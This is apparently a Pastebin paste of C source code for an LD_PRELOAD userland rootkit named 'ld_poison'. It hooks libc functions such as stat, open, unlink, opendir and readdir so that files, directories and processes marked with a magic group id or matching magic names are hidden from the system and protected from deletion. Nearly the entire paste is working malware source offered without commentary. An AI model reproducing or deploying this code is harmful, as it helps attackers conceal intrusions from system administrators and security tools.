Guest User

Untitled

a guest
Jan 24th, 2018
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 10.21 KB | None | 0 0
  1. #define _GNU_SOURCE
  2.  
  3. #include <stdio.h>
  4. #include <dlfcn.h>
  5. #include <dirent.h>
  6. #include <string.h>
  7. #include <sys/types.h>
  8. #include <sys/stat.h>
  9. #include <unistd.h>
  10. #include <limits.h>
  11. #include <errno.h>
  12. #include "config.h"
  13.  
  14. static void init (void) __attribute__ ((constructor));
  15.  
  16. static int (*old_fxstat)(int ver, int fildes, struct stat *buf);
  17. static int (*old_fxstat64)(int ver, int fildes, struct stat64 *buf);
  18. static int (*old_lxstat)(int ver, const char *file, struct stat *buf);
  19. static int (*old_lxstat64)(int ver, const char *file, struct stat64 *buf);
  20. static int (*old_open)(const char *pathname, int flags, mode_t mode);
  21. static int (*old_rmdir)(const char *pathname);
  22. static int (*old_unlink)(const char *pathname);
  23. static int (*old_unlinkat)(int dirfd, const char *pathname, int flags);
  24. static int (*old_xstat)(int ver, const char *path, struct stat *buf);
  25. static int (*old_xstat64)(int ver, const char *path, struct stat64 *buf);
  26.  
  27. static DIR *(*old_fdopendir)(int fd);
  28. static DIR *(*old_opendir)(const char *name);
  29.  
  30. static struct dirent *(*old_readdir)(DIR *dir);
  31. static struct dirent64 *(*old_readdir64)(DIR *dir);
  32.  
  33. void init(void)
  34. {
  35.     #ifdef DEBUG
  36.     printf("[-] ld_poison loaded.\n");
  37.     #endif
  38.  
  39.     old_fxstat = dlsym(RTLD_NEXT, "__fxstat");
  40.     old_fxstat64 = dlsym(RTLD_NEXT, "__fxstat64");
  41.     old_lxstat = dlsym(RTLD_NEXT, "__lxstat");
  42.     old_lxstat64 = dlsym(RTLD_NEXT, "__lxstat64");
  43.     old_open = dlsym(RTLD_NEXT,"open");
  44.     old_rmdir = dlsym(RTLD_NEXT,"rmdir");
  45.     old_unlink = dlsym(RTLD_NEXT,"unlink");
  46.     old_unlinkat = dlsym(RTLD_NEXT,"unlinkat");
  47.     old_xstat = dlsym(RTLD_NEXT, "__xstat");
  48.     old_xstat64 = dlsym(RTLD_NEXT, "__xstat64");
  49.    
  50.     old_fdopendir = dlsym(RTLD_NEXT, "fdopendir");
  51.     old_opendir = dlsym(RTLD_NEXT, "opendir");
  52.    
  53.     old_readdir = dlsym(RTLD_NEXT, "readdir");
  54.     old_readdir64 = dlsym(RTLD_NEXT, "readdir64");
  55. }
  56.  
  57. int fstat(int fd, struct stat *buf)
  58. {
  59.     struct stat s_fstat;
  60.  
  61.     #ifdef DEBUG
  62.     printf("fstat hooked.\n");
  63.     #endif
  64.  
  65.     memset(&s_fstat, 0, sizeof(stat));
  66.  
  67.     old_fxstat(_STAT_VER, fd, &s_fstat);
  68.  
  69.     if(s_fstat.st_gid == MAGIC_GID) {
  70.         errno = ENOENT;
  71.         return -1;
  72.     }
  73.  
  74.     return old_fxstat(_STAT_VER, fd, buf);
  75. }
  76.  
  77. int fstat64(int fd, struct stat64 *buf)
  78. {
  79.     struct stat64 s_fstat;
  80.  
  81.     #ifdef DEBUG
  82.     printf("fstat64 hooked.\n");
  83.     #endif
  84.  
  85.     memset(&s_fstat, 0, sizeof(stat));
  86.  
  87.     old_fxstat64(_STAT_VER, fd, &s_fstat);
  88.  
  89.     if(s_fstat.st_gid == MAGIC_GID) {
  90.         errno = ENOENT;
  91.         return -1;
  92.     }
  93.    
  94.     return old_fxstat64(_STAT_VER, fd, buf);
  95. }
  96.  
  97. int __fxstat(int ver, int fildes, struct stat *buf)
  98. {
  99.     struct stat s_fstat;
  100.  
  101.     #ifdef DEBUG
  102.     printf("__fxstat hooked.\n");
  103.     #endif
  104.  
  105.     memset(&s_fstat, 0, sizeof(stat));
  106.  
  107.     old_fxstat(ver,fildes, &s_fstat);
  108.  
  109.     if(s_fstat.st_gid == MAGIC_GID) {
  110.         errno = ENOENT;
  111.         return -1;
  112.     }
  113.     return old_fxstat(ver,fildes, buf);
  114. }
  115.  
  116. int __fxstat64(int ver, int fildes, struct stat64 *buf)
  117. {
  118.     struct stat64 s_fstat;
  119.  
  120.     #ifdef DEBUG
  121.     printf("__fxstat64 hooked.\n");
  122.     #endif
  123.  
  124.     memset(&s_fstat, 0, sizeof(stat));
  125.  
  126.     old_fxstat64(ver, fildes, &s_fstat);
  127.  
  128.     if(s_fstat.st_gid == MAGIC_GID) {
  129.         errno = ENOENT;
  130.         return -1;
  131.     }
  132.  
  133.     return old_fxstat64(ver, fildes, buf);
  134. }
  135.  
  136. int lstat(const char *file, struct stat *buf)
  137. {
  138.     struct stat s_fstat;
  139.  
  140.     #ifdef DEBUG
  141.     printf("lstat hooked.\n");
  142.     #endif
  143.  
  144.     memset(&s_fstat, 0, sizeof(stat));
  145.  
  146.     old_lxstat(_STAT_VER, file, &s_fstat);
  147.  
  148.     if(s_fstat.st_gid == MAGIC_GID || strstr(file,CONFIG_FILE) || strstr(file,MAGIC_DIR)) {
  149.         errno = ENOENT;
  150.         return -1;
  151.     }
  152.  
  153.     return old_lxstat(_STAT_VER, file, buf);
  154. }
  155.  
  156. int lstat64(const char *file, struct stat64 *buf)
  157. {
  158.     struct stat64 s_fstat;
  159.  
  160.     #ifdef DEBUG
  161.     printf("lstat64 hooked.\n");
  162.     #endif
  163.  
  164.     memset(&s_fstat, 0, sizeof(stat));
  165.  
  166.     old_lxstat64(_STAT_VER, file, &s_fstat);
  167.  
  168.     if (s_fstat.st_gid == MAGIC_GID || strstr(file,CONFIG_FILE) || strstr(file,MAGIC_DIR)) {
  169.         errno = ENOENT;
  170.         return -1;
  171.     }
  172.  
  173.     return old_lxstat64(_STAT_VER, file, buf);
  174. }
  175.  
  176. int __lxstat(int ver, const char *file, struct stat *buf)
  177. {
  178.     struct stat s_fstat;
  179.  
  180.     #ifdef DEBUG
  181.     printf("__lxstat hooked.\n");
  182.     #endif
  183.  
  184.     memset(&s_fstat, 0, sizeof(stat));
  185.  
  186.     old_lxstat(ver, file, &s_fstat);
  187.  
  188.     if (s_fstat.st_gid == MAGIC_GID || strstr(file,CONFIG_FILE) || strstr(file,MAGIC_DIR)) {
  189.         errno = ENOENT;
  190.         return -1;
  191.     }
  192.  
  193.     return old_lxstat(ver, file, buf);
  194. }
  195.  
  196. int __lxstat64(int ver, const char *file, struct stat64 *buf)
  197. {
  198.     struct stat64 s_fstat;
  199.  
  200.     #ifdef DEBUG
  201.     printf("__lxstat64 hooked.\n");
  202.     #endif
  203.  
  204.     memset(&s_fstat, 0, sizeof(stat));
  205.  
  206.     old_lxstat64(ver, file, &s_fstat);
  207.    
  208.     #ifdef DEBUG
  209.     printf("File: %s\n",file);
  210.     printf("GID: %d\n",s_fstat.st_gid);
  211.     #endif
  212.    
  213.     if(s_fstat.st_gid == MAGIC_GID || strstr(file,CONFIG_FILE) || strstr(file,MAGIC_DIR)) {
  214.         errno = ENOENT;
  215.         return -1;
  216.     }
  217.  
  218.     return old_lxstat64(ver, file, buf);
  219. }
  220.  
  221. int open(const char *pathname, int flags, mode_t mode)
  222. {
  223.     struct stat s_fstat;
  224.  
  225.     #ifdef DEBUG
  226.     printf("open hooked.\n");
  227.     #endif
  228.    
  229.     memset(&s_fstat, 0, sizeof(stat));
  230.  
  231.     old_xstat(_STAT_VER, pathname, &s_fstat);
  232.    
  233.     if(s_fstat.st_gid == MAGIC_GID || (strstr(pathname, MAGIC_DIR) != NULL) || (strstr(pathname, CONFIG_FILE) != NULL)) {
  234.         errno = ENOENT;
  235.         return -1;
  236.     }
  237.  
  238.     return old_open(pathname,flags,mode);
  239. }
  240.  
  241. int rmdir(const char *pathname)
  242. {
  243.     struct stat s_fstat;
  244.    
  245.     #ifdef DEBUG
  246.     printf("rmdir hooked.\n");
  247.     #endif
  248.    
  249.     memset(&s_fstat, 0, sizeof(stat));
  250.    
  251.     old_xstat(_STAT_VER, pathname, &s_fstat);
  252.    
  253.     if(s_fstat.st_gid == MAGIC_GID || (strstr(pathname, MAGIC_DIR) != NULL) || (strstr(pathname, CONFIG_FILE) != NULL)) {
  254.         errno = ENOENT;
  255.         return -1;
  256.     }
  257.    
  258.     return old_rmdir(pathname);
  259. }
  260.  
  261. int stat(const char *path, struct stat *buf)
  262. {
  263.     struct stat s_fstat;
  264.  
  265.     #ifdef DEBUG
  266.     printf("stat hooked\n");
  267.     #endif
  268.  
  269.     memset(&s_fstat, 0, sizeof(stat));
  270.  
  271.     old_xstat(_STAT_VER, path, &s_fstat);
  272.    
  273.     #ifdef DEBUG
  274.     printf("Path: %s\n",path);
  275.     printf("GID: %d\n",s_fstat.st_gid);
  276.     #endif
  277.    
  278.     if(s_fstat.st_gid == MAGIC_GID || strstr(path,CONFIG_FILE) || strstr(path,MAGIC_DIR)) {
  279.         errno = ENOENT;
  280.         return -1;
  281.     }
  282.  
  283.     return old_xstat(3, path, buf);
  284. }
  285.  
  286. int stat64(const char *path, struct stat64 *buf)
  287. {
  288.     struct stat64 s_fstat;
  289.  
  290.     #ifdef DEBUG
  291.     printf("stat64 hooked.\n");
  292.     #endif
  293.  
  294.     memset(&s_fstat, 0, sizeof(stat));
  295.  
  296.     old_xstat64(_STAT_VER, path, &s_fstat);
  297.  
  298.     if (s_fstat.st_gid == MAGIC_GID || strstr(path,CONFIG_FILE) || strstr(path,MAGIC_DIR)) {
  299.         errno = ENOENT;
  300.         return -1;
  301.     }
  302.  
  303.     return old_xstat64(_STAT_VER, path, buf);
  304. }
  305.  
  306. int __xstat(int ver, const char *path, struct stat *buf)
  307. {
  308.     struct stat s_fstat;
  309.  
  310.     #ifdef DEBUG
  311.     printf("xstat hooked.\n");
  312.     #endif
  313.  
  314.     memset(&s_fstat, 0, sizeof(stat));
  315.  
  316.     old_xstat(ver,path, &s_fstat);
  317.  
  318.     #ifdef DEBUG
  319.     printf("Path: %s\n",path);
  320.     printf("GID: %d\n",s_fstat.st_gid);
  321.     #endif
  322.    
  323.     memset(&s_fstat, 0, sizeof(stat));
  324.  
  325.     if(s_fstat.st_gid == MAGIC_GID || strstr(path,CONFIG_FILE) || strstr(path,MAGIC_DIR)) {
  326.         errno = ENOENT;
  327.         return -1;
  328.     }
  329.  
  330.     return old_xstat(ver,path, buf);
  331. }
  332.  
  333. int __xstat64(int ver, const char *path, struct stat64 *buf)
  334. {
  335.     struct stat64 s_fstat;
  336.    
  337.     #ifdef DEBUG
  338.     printf("xstat64 hooked.\n");
  339.     #endif
  340.  
  341.     memset(&s_fstat, 0, sizeof(stat));
  342.  
  343.     old_xstat64(ver,path, &s_fstat);
  344.  
  345.     #ifdef DEBUG
  346.     printf("Path: %s\n",path);
  347.     printf("GID: %d\n",s_fstat.st_gid);
  348.     #endif
  349.  
  350.     if(s_fstat.st_gid == MAGIC_GID || strstr(path,CONFIG_FILE) || strstr(path,MAGIC_DIR)) {
  351.         errno = ENOENT;
  352.         return -1;
  353.     }
  354.    
  355.     return old_xstat64(ver,path, buf);
  356. }
  357.  
  358. int unlink(const char *pathname)
  359. {
  360.     struct stat s_fstat;
  361.    
  362.     #ifdef DEBUG
  363.     printf("unlink hooked.\n");
  364.     #endif
  365.    
  366.     memset(&s_fstat, 0, sizeof(stat));
  367.    
  368.     old_xstat(_STAT_VER, pathname, &s_fstat);
  369.    
  370.     if(s_fstat.st_gid == MAGIC_GID || (strstr(pathname, MAGIC_DIR) != NULL) || (strstr(pathname, CONFIG_FILE) != NULL)) {
  371.         errno = ENOENT;
  372.         return -1;
  373.     }
  374.    
  375.     return old_unlink(pathname);
  376. }
  377.  
  378. int unlinkat(int dirfd, const char *pathname, int flags)
  379. {
  380.     struct stat s_fstat;
  381.    
  382.     #ifdef DEBUG
  383.     printf("unlinkat hooked.\n");
  384.     #endif
  385.    
  386.     memset(&s_fstat, 0, sizeof(stat));
  387.    
  388.     old_fxstat(_STAT_VER, dirfd, &s_fstat);
  389.    
  390.     if(s_fstat.st_gid == MAGIC_GID || (strstr(pathname, MAGIC_DIR) != NULL) || (strstr(pathname, CONFIG_FILE) != NULL)) {
  391.         errno = ENOENT;
  392.         return -1;
  393.     }
  394.    
  395.     return old_unlinkat(dirfd, pathname, flags);
  396. }
  397.  
  398. DIR *fdopendir(int fd)
  399. {
  400.     struct stat s_fstat;
  401.  
  402.     #ifdef DEBUG
  403.     printf("fdopendir hooked.\n");
  404.     #endif
  405.  
  406.     memset(&s_fstat, 0, sizeof(stat));
  407.  
  408.     old_fxstat(_STAT_VER, fd, &s_fstat);
  409.  
  410.     if(s_fstat.st_gid == MAGIC_GID) {
  411.         errno = ENOENT;
  412.         return NULL;
  413.     }
  414.  
  415.     return old_fdopendir(fd);
  416. }
  417.  
  418. DIR *opendir(const char *name)
  419. {
  420.     struct stat s_fstat;
  421.  
  422.     #ifdef DEBUG
  423.     printf("opendir hooked.\n");
  424.     #endif
  425.  
  426.     memset(&s_fstat, 0, sizeof(stat));
  427.  
  428.     old_xstat(_STAT_VER, name, &s_fstat);
  429.  
  430.     if(s_fstat.st_gid == MAGIC_GID || strstr(name,CONFIG_FILE) || strstr(name,MAGIC_DIR)) {
  431.         errno = ENOENT;
  432.         return NULL;
  433.     }
  434.  
  435.     return old_opendir(name);
  436. }
  437.  
  438. struct dirent *readdir(DIR *dirp)
  439. {
  440.     struct dirent *dir;
  441.     struct stat s_fstat;
  442.    
  443.     memset(&s_fstat, 0, sizeof(stat));
  444.  
  445.     #ifdef DEBUG
  446.     printf("readdir hooked.\n");
  447.     #endif
  448.  
  449.     do {
  450.         dir = old_readdir(dirp);
  451.        
  452.         if (dir != NULL && (strcmp(dir->d_name,".\0") == 0 || strcmp(dir->d_name,"/\0") == 0))
  453.             continue;
  454.  
  455.         if(dir != NULL) {
  456.                     char path[PATH_MAX + 1];
  457.             snprintf(path,PATH_MAX,"/proc/%s",dir->d_name);
  458.                     old_xstat(_STAT_VER, path, &s_fstat);
  459.         }
  460.     } while(dir && (strstr(dir->d_name, MAGIC_DIR) != 0 || strstr(dir->d_name, CONFIG_FILE) != 0 || s_fstat.st_gid == MAGIC_GID));
  461.  
  462.     return dir;
  463. }
  464.  
  465. struct dirent64 *readdir64(DIR *dirp)
  466. {
  467.     struct dirent64 *dir;
  468.     struct stat s_fstat;
  469.    
  470.     memset(&s_fstat, 0, sizeof(stat));
  471.  
  472.     #ifdef DEBUG
  473.     printf("readdir64 hooked.\n");
  474.     #endif
  475.  
  476.     do {
  477.         dir = old_readdir64(dirp);
  478.        
  479.         if (dir != NULL && (strcmp(dir->d_name,".\0") == 0 || strcmp(dir->d_name,"/\0") == 0))  
  480.             continue;
  481.  
  482.         if(dir != NULL) {
  483.                     char path[PATH_MAX + 1];
  484.             snprintf(path,PATH_MAX,"/proc/%s",dir->d_name);
  485.                     old_xstat(_STAT_VER, path, &s_fstat);
  486.         }
  487.         } while(dir && (strstr(dir->d_name, MAGIC_DIR) != 0 || strstr(dir->d_name, CONFIG_FILE) != 0 || s_fstat.st_gid == MAGIC_GID));
  488.    
  489.     return dir;
  490. }
Add Comment
Please, Sign In to add comment